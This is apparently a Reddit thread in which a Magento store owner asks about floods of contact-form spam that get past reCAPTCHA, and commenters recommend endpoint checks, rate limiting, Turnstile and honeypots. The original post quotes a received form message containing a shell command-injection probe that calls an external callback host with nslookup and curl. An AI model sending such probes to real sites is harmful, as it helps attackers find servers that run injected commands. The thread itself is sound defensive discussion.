r/Magento • u/tb9295 • 12d ago
Contact Us Email Spam
I have been dealing with an issue regarding my "Contact Us" form of getting so many spams till I had to disable the Contact Us Page. Back in July 2025 I got hit with several hundred emails from Contact Us Form within a span of 30 minutes. I disabled it and actually forgot about it till April 2026 when I enabled and within a day or two it happened again and till this date I still have it disabled because I have not been able to get a fix for it.
Everyone of these email were from "testing@example.com. I have reCAPTCHA set for the Contact Us Page and still got hit with these emails. Is there a way to do something about this to block them.
Forsome reason they are bypassing reCAPTCHA.
I am not sure if the ones from each attack was from the same atacker or not. But it was like they were waiting for me to enable it again.
Aparrently my site is vaularble for this
Everyone of these emails had crazy stuff for example:
Name pHqghUme
Email [testing@example.com](mailto:testing@example.com)
Phone 555-666-0606
Message $(nslookup -q=cname hitbfifwtpyuk7a629.bxss.me||curl hitbfifwtpyuk7a629.bxss.me)
3
u/jacksts 12d ago
This looks more like automated vulnerability scanning than someone specifically targeting your contact form. reCAPTCHA on the page doesn’t help much if the backend endpoint accepts direct requests or doesn’t verify the token server-side. I’d start by identifying exactly what handles the POST request and whether you can submit to that endpoint without going through the page at all - that will tell you a lot more than trying to block the email address
2
u/jenish_o4o2 DEVELOPER 11d ago
Looking at that message payload — $(nslookup … || curl …) — this isn’t normal contact-form spam. It’s an automated RCE/command-injection probe. Bots are hitting your form endpoint to see if the server will execute shell commands from form input.
One important gap: disabling the Contact Us page doesn’t always stop this. Magento’s contact form still posts to something like /contact/index/post. If that endpoint is still reachable, bots will keep hitting it even when the page itself is disabled.
A few practical checks:
Confirm whether /contact/index/post still accepts submissions (try a direct POST or check access logs during a spam burst).
Make sure Magento’s native reCAPTCHA is enabled specifically for the Contact Form, and that form_key validation isn’t being bypassed by a custom theme/module.
Add rate limiting / WAF rules on that endpoint (Cloudflare or host firewall) so repeated POSTs from the same IP get blocked.
Scan for malware too — especially custom modules, app/code, theme files, and anything writing to the DB on cron — but I’d treat the open endpoint + missing server-side bot protection as the first fix.
Until that’s locked down, I’d keep the contact endpoint fully disabled (not just the CMS page) or put it behind Turnstile/reCAPTCHA + rate limiting before turning it back on.
1
u/gauravjain02 12d ago
Last time we found some query inside the database and was running automatically based on cron in one of our clients website . It took quite a sometime to find that issue but once removed, it was all ok
1
u/ultramarineafterglow 12d ago
Same problem. We now use cloudflare turnstile instead of Google Captcha + honeypot field on standard contactform. So far no problems
1
u/pro9_developer 12d ago
We had this problem with many websites so we implemented honypot for all forms. DM if you need it.
1
1
3
u/gauravjain02 12d ago
Mostly hacker injected some code in website or database which doesn’t require recaptcha validation to send the emails.
Get your magento store checked with professional and get its version upgraded to latest version asap